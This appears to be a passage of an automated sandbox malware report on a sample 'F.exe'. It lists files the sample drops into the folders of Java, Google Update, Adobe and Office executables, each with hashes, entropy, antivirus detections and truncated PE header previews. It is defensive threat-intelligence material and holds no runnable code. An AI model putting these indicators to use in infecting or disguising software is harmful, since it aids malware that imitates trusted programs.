Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\AutoIt3\Uninstall.exe

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	113233
Entropy (8bit):	6.7789810493984115
Encrypted:	false
SSDEEP:	3072:zr8WDrCFCrMGEtajbefY/TU9fE9PEtuGCrK:PuFCrfEt+cYa6YCrK
MD5:	0FF71A744E70F7F7E1CE56FC4298E688
SHA1:	939DEB068D6BCB5BAB11AF96CF6040F26B5EDB8B
SHA-256:	3214538D265FB6BFB3A0620229FCD979A0225C0477F0FE0578FB443AE7EC4FDA
SHA-512:	0037311257AFC9CFC0E6C1439AFC8E9B9BC83CF19D7E9FF7D24292A37917F56CC95071ACF4909D4FD869C2FB4D596FBABB9CF97C7591DB079549A401132372DB
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	409608
Entropy (8bit):	6.460025563791325
Encrypted:	false
SSDEEP:	6144:PuTvqF1Ged2RYbguEuFuTkdj+zRGa7JkjrXyPyMMWvpBVOaqahUqjAGT:TbgvuFuQdj+zRTJkX8yMhB3jhBAi
MD5:	83769C80EE264331DD46FBBBDB682CC9
SHA1:	F3921FFA18C7B93A262A79C1C7A1A60A88D0CBC1
SHA-256:	4D81853DFC97E32B2F03E4C1F75F41C91FD3DF73FB80B23A59484E2EEB9C264F
SHA-512:	BADED7629C0D0C40AA785AE0FFCD8D0D7037B050199B517F5BC230C6954FE7ED52E911414CB829A509966AB82CC2CD5DD8868449D2EC9E567141E9A3138C3AF4
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 100%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	214512
Entropy (8bit):	6.488889881948425
Encrypted:	false
SSDEEP:	3072:zr8WDrCDGnUI/9FXK4+PoSZSb5qURwubvvnzdl1CkTlxAenDl3SoxceC76JNKjzc:PuDGUcsvZZvUmubv7hTHA8l3yROJyDI5
MD5:	F085722D23BDED9EB6D55AE1232725CC
SHA1:	19C09DFC582FE436B06B536DAC110E26F596FCC2
SHA-256:	60EAEFFA9F5182AAFAD9D945DC601590A92782AA102AEF9AE10E19088E7C6179
SHA-512:	5BDDCC02CB2D9B0B7270D3D1F1387F94A14047CCAC7810CEEBDE8357A7B2C4D5F79BDA3902CDA2BB5E25558D0D0FA44AFF3DD5846D45AD380FC58CAB364DDDD1
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 100%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Common Files\Java\Java Update\jaureg.exe

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	568400
Entropy (8bit):	6.67219335276453
Encrypted:	false
SSDEEP:	12288:lyvTCXdXikLj2jR7trg6Qi3vYsKTU00vq:lyyLj8trn3wsq0vq
MD5:	B41B153CA4DFE9D557899142C6FDD767
SHA1:	D7310F560839E21A7968DA46E27231290B25A312
SHA-256:	FC1577451D4743DBE1B27A1828EA536522CF5C9CBE952A48F58345F53A85D72A
SHA-512:	8CE84911CA279CCB86E8D4398CEC16B00E9E29FDF25F766FC0792E71154B2A8FBC22CC8F69387A6F5EC5992AC264556A39C1B9AD940F2AA674538DC4F50502D6
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 100%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exe

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1252432
Entropy (8bit):	6.763252873451025
Encrypted:	false
SSDEEP:	24576:d0n7Ubxk/uRvJqLGJLQ4a56duA/85RkV4l7/ZeoMOp:m4iwwGJra0uAUfkVy7/ZX
MD5:	9F7E59075683E964E4D6DF66A92AAF0B
SHA1:	60EE788C42034ECE4FDB47C325E4EC2BC9DF67AA
SHA-256:	D5759CFE49A74CAA1A6A7FA8DB17DE9D570F1BE8DA9FE75AB48E67076ECFF8E1
SHA-512:	077D5D9FE8102144D458283ED099DC5C2F51F90B0ECE7DABB0BDA66E9B97F6D12A83527067877A802C0AD46DA974C494DD5EF954AC494D0838DAC87ACF06BADD
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 100%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	790096
Entropy (8bit):	6.745221507787877
Encrypted:	false
SSDEEP:	12288:bMvcR0D0B6PyxoxIlZwM+R6R4uFjs1Z7FMN0TzJqccvbXkN58AuimIh:/R0gB6axoCfyR6RLQRF/TzJqe58BimIh
MD5:	ECF5236F6653F2D0F55FB26B2ABE3D4F
SHA1:	60AC40919543275E088CE78F063DBA998964DFF7
SHA-256:	273F4F789C6DAB5593C5273845020DC3E172C98833E38729C9DA159C53AE5623
SHA-512:	06F844A46C9AE9B4588C167F809A1023DC88CE7853C61D1DE92841ADC7128C91CB0EC5B5F32E7E6E86C5B81D3161915767F98CF090AF19F6BE680FC1347255DC
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 100%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE16\LICLUA.EXE

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	562776
Entropy (8bit):	6.433164069541556
Encrypted:	false
SSDEEP:	6144:PuJ0dzerObMhDGJ9UM3sunrXj9BMHmD1tYFLqY/W5R02qO7VKCy7KCzDSEBPj:BeqbWqB3sunrT9+aYFLq3ny7JSEBPj
MD5:	8DA8BD2BDE4B0EEAA83DD9B17289F169
SHA1:	284502E7ABD3A84AF988CC6D2F4EA87D08D027B6
SHA-256:	794C922912321E663916EBF1B11646CE10DBC0842E0FF68571770672FCFAB214
SHA-512:	63EEE0EEFC46141F7B94DA48F420326630C9182E4C9CEB44104CE7302832A7219D361F2F61D52CD83B9E1E81CAC1ED86C8C44C8CE805299ABA74A7FA81D235D9
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Common Files\Microsoft Shared\VSTO\10.0\VSTOInstaller.exe

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	127512
Entropy (8bit):	6.330981765539028
Encrypted:	false
SSDEEP:	3072:zr8WDrCsPo10JOSdnvEhEyr1hg9uCRFRzsxeZ:Pusg1MOc81hmRFJs0Z
MD5:	A70C749F32B95B9C01A9919E8F96205D
SHA1:	7A43A28D2FCDBF663B4D61E969CD6160F1A444AC
SHA-256:	39C83EC2727FFCC589106D1AD4C7BE154C7752382C958252FF510A61F65E24C2
SHA-512:	1341ADCD4FEDA85A9425348310A2FA86A1D9AFA705ABFF7FCA2C39FDDFA9C3176239BB87553216743DCBB662211DB0E3C90B644A3CC8DEBE80CD38BBE7ACBAE7
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 100%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	299136
Entropy (8bit):	6.7881128883409
Encrypted:	false
SSDEEP:	6144:PuGXLYbH0QQchx73BeFStIhEWDoZvynCMj+TwW:xXEbH0j4x7R6SvyCMqn
MD5:	BB745A9E59BFDC3FED3D6ACC5EB1969E
SHA1:	B569EF5567BF533C49F4C59441D1881726DEA540
SHA-256:	5C257F423AFD510D6EE9EAB80273CC673995F966932466C9AD74EB2AA613A892
SHA-512:	B43198FC36F9DECB3767E6888B632093550394DF5D5826540A0BBDAE711931F595B398CE59C5F4676C1FDA7953C0702D57CC98D3E18309DEA517C536AB63CCCD
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 100%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	299136
Entropy (8bit):	6.790537251287294
Encrypted:	false
SSDEEP:	6144:PuGkXCs7zYA9xiNFiVg7s/uDoeBvhI7W6w9:xkXCs/YAh/elvhI7Wd
MD5:	57150329C07A1CCA1C715687BBD681A0
SHA1:	EA1805323441B728107A98C5C88EB1609116F70E
SHA-256:	AFB4A253B3CFEFB7FA8C8AAB7FE10060AF5A33C10147EDBA4501C5089F407023
SHA-512:	2BD0008D28BDBBBDB0F6A8D01121FFCF9A6AD18147110F100D1EB3CD7B93EC3481F8D0358E427F94D53F01764B246C54FC49F57CFDBAB1831672218197DFC444
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 100%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	437888
Entropy (8bit):	6.42435194722595
Encrypted:	false
SSDEEP:	12288:xXNKdHVnfiMB7yIL+5IyoiYv5jPaeTmJWIvDxT9ULX8PCM:hKiBLZ05jNTmJWExixM
MD5:	E96B5A5F7432CF95AC667CC32CAB7CE1
SHA1:	F5729409A0AD909360DD9938FE05681E8C98BEA7
SHA-256:	22345B680E235E582820160A73A5221A98550D7947DC1F22FE768C51788B3614
SHA-512:	BF03F48889EA86C4C39B32B32760FE57293D85C5E6A88D3695CF4D7F7AB23B3F4ED07588987619B084AFFB51A61B3C7404E2D8177A29EC4AF343FCBD66F7C560
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 100%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler.exe

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	343328
Entropy (8bit):	6.643174471027498
Encrypted:	false
SSDEEP:	6144:PutkTpB8HHvBjruphfgesnAhAOQp2EwckjQx+m8zhPLlZp3:GklinJruphfg26p2Ewix+m8Nln3
MD5:	C6DCB652B36FD0F69EF1C6C28C3F3D3E
SHA1:	B9FA38B704D6BDDA1E203422207E09D2FB49C216
SHA-256:	A2D68D17A3E61E41CD6E9389058D6A36036BEC91AFD4CF6A2F587FAF0CDCDD5B
SHA-512:	1B184AC17FDD6F28956F619CD772697EEA6684C70B4E74222BD75C58ACFF62C1BF66D9AFB840A9735A0BACD3792405E063701AA29C909EFB5F3B6DF5AF284FB3
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 100%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler64.exe

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	443680
Entropy (8bit):	6.396943856678141
Encrypted:	false
SSDEEP:	12288:z3gaHC2zUM2WJoROZVXk8hbodzbaw8x0Cx+wnx:zx5k8hb0Haw+x5x
MD5:	689EC8C9ABDBA5399058B31A494353E7
SHA1:	2940C3D9852341884ED269B06804C0383F9A6056
SHA-256:	B168963DD38A08EE00E540180FF0BB2480E72D6439C6F3E386BFDEACCC725F95
SHA-512:	AE28934023D46D5D36A894F31A0A2232DF9D968B20D7176BCD37058C13FE9B1BA41387CEBBE824BC6FAFF0ECB35354C1A69C585BC39A4468B713B9F458CCB107
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 100%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdate.exe

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	203552
Entropy (8bit):	6.1311659126541285
Encrypted:	false
SSDEEP:	3072:zr8WDrC6aKavT/DvbEvK9aobNI2B+Nl4jz+b0atWH1TmFtotpcat8iKdlVST31Oa:Pu6aK2h9H/B+rEtiPC
MD5:	5C85C6CF32D2443AE5A7E4FAD8CB7CCF
SHA1:	D23CB4A5961CD7B7C4DA100EBE98E5A4CB8B2FCF
SHA-256:	4EBA2A6D96466D63B206E0760B4E9319D26B4458A8F030460DDE896AAF227682
SHA-512:	FBC3D48FCF80DBAA328DCDF326638C57CEF445A31FA269AF6D47BFC03E112BCD0143721C78F041A3D1C7AEAF44BE135484B33D170AA1EA550CFE5AB15242F694
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 100%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateBroker.exe

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	149792
Entropy (8bit):	6.503976503009816
Encrypted:	false
SSDEEP:	3072:zr8WDrC/4vzT+PjZpsB+2h+EOXkMxJ7Rfp8K172YPrp:PulpsB+09zMH7cCxPd
MD5:	EAAD727FE492030433EBADE57325EA69
SHA1:	6008DE3C0DD2203E737A68ADB562A81DE1BD4349
SHA-256:	8294521F6F0C2936F76C92743BF193937619C13FC0CFCBE2DA1238605D07F79B
SHA-512:	803E85A412536591F05DC3C6065B84919B11460AD08DD8F5833E47C9FFA00E1D33DE6092658D219C819220B867CEFFFBED8BAF822E372E95CBD8D48AD9351DE7
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 100%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateComRegisterShell64.exe

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	227104
Entropy (8bit):	6.2330769171298925
Encrypted:	false
SSDEEP:	6144:PuKWt9h8QlLISZWVRohcq7dvni3F8QrBA/:by9hdFIdRoGUxi35rBU
MD5:	19E917EB830D0429C0E2E8F64114212B
SHA1:	5351AA18D019E6ED9123460431B4B28A0187A065
SHA-256:	6133D3AF6F4C30C1337C63B71947056FB3A46E2A269EB4F2E996E53DD8E95754
SHA-512:	A5CFFE837ADAC6B05C3D4F413C9461BD368A7CAFC3142DD5472BE292F1D17FB74571BC05FC8204F0781138016D76085DB843EEFC787033984FB42546F8DF24D3
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 100%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateCore.exe

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	264480
Entropy (8bit):	6.638998317491867
Encrypted:	false
SSDEEP:	6144:PumwCtJmRqyFmB6AOKmiMGwIAfx+iQ+FfFyLgG1da6edo:tw6JmRI6Bitwpx+iQafFykG1da6edo
MD5:	CC6410226CC9A5A311864C905A41F69D
SHA1:	C2E9C75DC6382238B2D7697576C5BB47A09AA1EF
SHA-256:	6118343C2990A8414501F08A6FC70E2888E8CDC193054E0410D5B5FF3EF63898
SHA-512:	DAE7626F1BFADCE4E9108CC20FBF84D5F86D1E9EBF7AA58B6386613C52718AF2C91ABFDD539F87297DBC2A5FB486619F4048FC831B96DC4AD924C61785AFA6AB
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 100%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateOnDemand.exe

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	149792
Entropy (8bit):	6.504334063798769
Encrypted:	false
SSDEEP:	3072:zr8WDrCz4qR8vSZksB+2hdqecER5AhC48S1m2YPrZ:Pu5ksB+0YlEXAe6QPt
MD5:	3782AA85B64BBBFD331D8170B86BCB0A
SHA1:	2FE109D8CDDC028910DC40DF789B90D8997B1557
SHA-256:	390F98A5B31D514641DFB13DDBCA0C071F4D8FD4F094C25859C98A672572B0C1
SHA-512:	D1DEBFF36BB931F544B48D611E0D513FFE7BA5A36650932F007B2C6198BDF8E4E1F253D0CCF24A25AF9066C5278EEEDA568EBA6FEE20B404377D4BB1A68253DF
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 100%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\java.exe

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	299136
Entropy (8bit):	6.7881128883409
Encrypted:	false
SSDEEP:	6144:PuGXLYbH0QQchx73BeFStIhEWDoZvynCMj+TwW:xXEbH0j4x7R6SvyCMqn
MD5:	BB745A9E59BFDC3FED3D6ACC5EB1969E
SHA1:	B569EF5567BF533C49F4C59441D1881726DEA540
SHA-256:	5C257F423AFD510D6EE9EAB80273CC673995F966932466C9AD74EB2AA613A892
SHA-512:	B43198FC36F9DECB3767E6888B632093550394DF5D5826540A0BBDAE711931F595B398CE59C5F4676C1FDA7953C0702D57CC98D3E18309DEA517C536AB63CCCD
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 100%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\javacpl.exe

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	135808
Entropy (8bit):	6.38873877226639
Encrypted:	false
SSDEEP:	1536:yxqjQ+P04wsZLnDrCGrmKJGyeVK7qjh3rmKPNbS7cZPxyqPEoCW/ids8nBs+s8nK:zr8WDrCGqzyutjZqMNbSgxbFrj8m
MD5:	3DFB05D09AB50A01B467398603BEADB5
SHA1:	D8A8AD789717B3E83608AE510FBFF096861DC271
SHA-256:	A4844081CA91828B55104253A954E3B073D6E762D66A4EFA8F22AF9C4D995833
SHA-512:	D6FD943FA97432F80CD81621D5186D7D6CB8F7622604278BE31CFEEBF98A46A9007E3C71F6E392B9B41563CA5BC6BD9B86AAA3D6A4CF1B148179D7692F7A9A99
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 100%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	299136
Entropy (8bit):	6.790537251287294
Encrypted:	false
SSDEEP:	6144:PuGkXCs7zYA9xiNFiVg7s/uDoeBvhI7W6w9:xkXCs/YAh/elvhI7Wd
MD5:	57150329C07A1CCA1C715687BBD681A0
SHA1:	EA1805323441B728107A98C5C88EB1609116F70E
SHA-256:	AFB4A253B3CFEFB7FA8C8AAB7FE10060AF5A33C10147EDBA4501C5089F407023
SHA-512:	2BD0008D28BDBBBDB0F6A8D01121FFCF9A6AD18147110F100D1EB3CD7B93EC3481F8D0358E427F94D53F01764B246C54FC49F57CFDBAB1831672218197DFC444
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 100%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\javaws.exe

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	437888
Entropy (8bit):	6.42435194722595
Encrypted:	false
SSDEEP:	12288:xXNKdHVnfiMB7yIL+5IyoiYv5jPaeTmJWIvDxT9ULX8PCM:hKiBLZ05jNTmJWExixM
MD5:	E96B5A5F7432CF95AC667CC32CAB7CE1
SHA1:	F5729409A0AD909360DD9938FE05681E8C98BEA7
SHA-256:	22345B680E235E582820160A73A5221A98550D7947DC1F22FE768C51788B3614
